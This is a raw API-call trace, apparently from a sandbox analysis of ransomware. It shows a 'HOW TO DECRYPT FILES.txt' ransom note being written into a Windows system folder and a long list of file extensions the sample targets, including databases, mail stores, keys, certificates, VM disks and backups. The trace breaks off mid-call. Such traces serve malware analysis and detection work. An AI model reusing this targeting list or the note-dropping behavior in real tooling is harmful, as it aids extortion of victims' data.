lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\HOW TO DECRYPT FILES.txt" [0111.975] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationcore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\how to decrypt files.txt")) returned 0xffffffff [0111.975] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\presentationcore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.976] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.978] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.978] CloseHandle (hObject=0x90) returned 1 [0111.978] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\", lpString2="PresentationCore.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll" [0111.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.ems") returned 0 [0111.978] lstrlenA (lpString="*.ems") returned 5 [0111.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.db") returned 0 [0111.978] lstrlenA (lpString="*.db") returned 4 [0111.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.dbf") returned 0 [0111.978] lstrlenA (lpString="*.dbf") returned 5 [0111.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.myox") returned 0 [0111.978] lstrlenA (lpString="*.myox") returned 6 [0111.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.myo") returned 0 [0111.978] lstrlenA (lpString="*.myo") returned 5 [0111.978] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.qbw") returned 0 [0111.979] lstrlenA (lpString="*.qbw") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.qbb") returned 0 [0111.979] lstrlenA (lpString="*.qbb") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.qbm") returned 0 [0111.979] lstrlenA (lpString="*.qbm") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.qbo") returned 0 [0111.979] lstrlenA (lpString="*.qbo") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.qbx") returned 0 [0111.979] lstrlenA (lpString="*.qbx") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.qba") returned 0 [0111.979] lstrlenA (lpString="*.qba") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.qby") returned 0 [0111.979] lstrlenA (lpString="*.qby") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.qbj") returned 0 [0111.979] lstrlenA (lpString="*.qbj") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.ofx") returned 0 [0111.979] lstrlenA (lpString="*.ofx") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.qif") returned 0 [0111.979] lstrlenA (lpString="*.qif") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.mye") returned 0 [0111.979] lstrlenA (lpString="*.mye") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.mbox") returned 0 [0111.979] lstrlenA (lpString="*.mbox") returned 6 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.eml") returned 0 [0111.979] lstrlenA (lpString="*.eml") returned 5 [0111.979] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.pst") returned 0 [0111.980] lstrlenA (lpString="*.pst") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.ost") returned 0 [0111.980] lstrlenA (lpString="*.ost") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.idx") returned 0 [0111.980] lstrlenA (lpString="*.idx") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.dbx") returned 0 [0111.980] lstrlenA (lpString="*.dbx") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.sql") returned 0 [0111.980] lstrlenA (lpString="*.sql") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.mdb") returned 0 [0111.980] lstrlenA (lpString="*.mdb") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.fdb") returned 0 [0111.980] lstrlenA (lpString="*.fdb") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.wab") returned 0 [0111.980] lstrlenA (lpString="*.wab") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.dat") returned 0 [0111.980] lstrlenA (lpString="*.dat") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.txt") returned 0 [0111.980] lstrlenA (lpString="*.txt") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.jpeg") returned 0 [0111.980] lstrlenA (lpString="*.jpeg") returned 6 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.jpg") returned 0 [0111.980] lstrlenA (lpString="*.jpg") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.png") returned 0 [0111.980] lstrlenA (lpString="*.png") returned 5 [0111.980] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.php") returned 0 [0111.980] lstrlenA (lpString="*.php") returned 5 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.cs") returned 0 [0111.981] lstrlenA (lpString="*.cs") returned 4 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.cpp") returned 0 [0111.981] lstrlenA (lpString="*.cpp") returned 5 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.rar") returned 0 [0111.981] lstrlenA (lpString="*.rar") returned 5 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.zip") returned 0 [0111.981] lstrlenA (lpString="*.zip") returned 5 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.html") returned 0 [0111.981] lstrlenA (lpString="*.html") returned 6 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.htm") returned 0 [0111.981] lstrlenA (lpString="*.htm") returned 5 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.xlsx") returned 0 [0111.981] lstrlenA (lpString="*.xlsx") returned 6 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.xls") returned 0 [0111.981] lstrlenA (lpString="*.xls") returned 5 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.mp4") returned 0 [0111.981] lstrlenA (lpString="*.mp4") returned 5 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.ppt") returned 0 [0111.981] lstrlenA (lpString="*.ppt") returned 5 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.pptx") returned 0 [0111.981] lstrlenA (lpString="*.pptx") returned 6 [0111.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.doc") returned 0 [0111.981] lstrlenA (lpString="*.doc") returned 5 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.dot") returned 0 [0111.982] lstrlenA (lpString="*.dot") returned 5 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.docx") returned 0 [0111.982] lstrlenA (lpString="*.docx") returned 6 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.7z") returned 0 [0111.982] lstrlenA (lpString="*.7z") returned 4 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.tar") returned 0 [0111.982] lstrlenA (lpString="*.tar") returned 5 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.bz2") returned 0 [0111.982] lstrlenA (lpString="*.bz2") returned 5 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.gz") returned 0 [0111.982] lstrlenA (lpString="*.gz") returned 4 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.mkv") returned 0 [0111.982] lstrlenA (lpString="*.mkv") returned 5 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.eml") returned 0 [0111.982] lstrlenA (lpString="*.eml") returned 5 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.msg") returned 0 [0111.982] lstrlenA (lpString="*.msg") returned 5 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.edb") returned 0 [0111.982] lstrlenA (lpString="*.edb") returned 5 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.accdb") returned 0 [0111.982] lstrlenA (lpString="*.accdb") returned 7 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.odb") returned 0 [0111.982] lstrlenA (lpString="*.odb") returned 5 [0111.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.java") returned 0 [0111.983] lstrlenA (lpString="*.java") returned 6 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.asm") returned 0 [0111.983] lstrlenA (lpString="*.asm") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.pfx") returned 0 [0111.983] lstrlenA (lpString="*.pfx") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.pem") returned 0 [0111.983] lstrlenA (lpString="*.pem") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.p12") returned 0 [0111.983] lstrlenA (lpString="*.p12") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.gpg") returned 0 [0111.983] lstrlenA (lpString="*.gpg") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.vsd") returned 0 [0111.983] lstrlenA (lpString="*.vsd") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.odg") returned 0 [0111.983] lstrlenA (lpString="*.odg") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.raw") returned 0 [0111.983] lstrlenA (lpString="*.raw") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.nef") returned 0 [0111.983] lstrlenA (lpString="*.nef") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.svg") returned 0 [0111.983] lstrlenA (lpString="*.svg") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.psd") returned 0 [0111.983] lstrlenA (lpString="*.psd") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.vmx") returned 0 [0111.983] lstrlenA (lpString="*.vmx") returned 5 [0111.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.vmdk") returned 0 [0111.983] lstrlenA (lpString="*.vmdk") returned 6 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.vdi") returned 0 [0111.984] lstrlenA (lpString="*.vdi") returned 5 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.lay6") returned 0 [0111.984] lstrlenA (lpString="*.lay6") returned 6 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.mpeg") returned 0 [0111.984] lstrlenA (lpString="*.mpeg") returned 6 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.djvu") returned 0 [0111.984] lstrlenA (lpString="*.djvu") returned 6 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.tiff") returned 0 [0111.984] lstrlenA (lpString="*.tiff") returned 6 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.backup") returned 0 [0111.984] lstrlenA (lpString="*.backup") returned 8 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.pdf") returned 0 [0111.984] lstrlenA (lpString="*.pdf") returned 5 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.cert") returned 0 [0111.984] lstrlenA (lpString="*.cert") returned 6 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.docm") returned 0 [0111.984] lstrlenA (lpString="*.docm") returned 6 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.xlsm") returned 0 [0111.984] lstrlenA (lpString="*.xlsm") returned 6 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.dwg") returned 0 [0111.984] lstrlenA (lpString="*.dwg") returned 5 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.nd") returned 0 [0111.984] lstrlenA (lpString="*.nd") returned 4 [0111.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.tlg") returned 0 [0111.984] lstrlenA (lpString="*.tlg") returned 5 [0111.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.lgb") returned 0 [0111.985] lstrlenA (lpString="*.lgb") returned 5 [0111.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.mov") returned 0 [0111.985] lstrlenA (lpString="*.mov") returned 5 [0111.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.xdw") returned 0 [0111.985] lstrlenA (lpString="*.xdw") returned 5 [0111.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.ods") returned 0 [0111.985] lstrlenA (lpString="*.ods") returned 5 [0111.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.wav") returned 0 [0111.985] lstrlenA (lpString="*.wav") returned 5 [0111.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.mp3") returned 0 [0111.985] lstrlenA (lpString="*.mp3") returned 5 [0111.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.aiff") returned 0 [0111.985] lstrlenA (lpString="*.aiff") returned 6 [0111.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.flac") returned 0 [0111.985] lstrlenA (lpString="*.flac") returned 6 [0111.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.m4a") returned 0 [0111.985] lstrlenA (lpString="*.m4a") returned 5 [0111.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\PresentationCore\\e097881a6e1956a4c3f6b8dbb81cb4ee\\PresentationCore.ni.dll", pszSpec="*.csv") returned 0 [0111.985] lstrlenA (lpString="*.csv") returned 5 [0111.985] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed436b2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6ed436b2, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6eee65d5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xfc6200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationCore.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0111.986] FindClose (in: 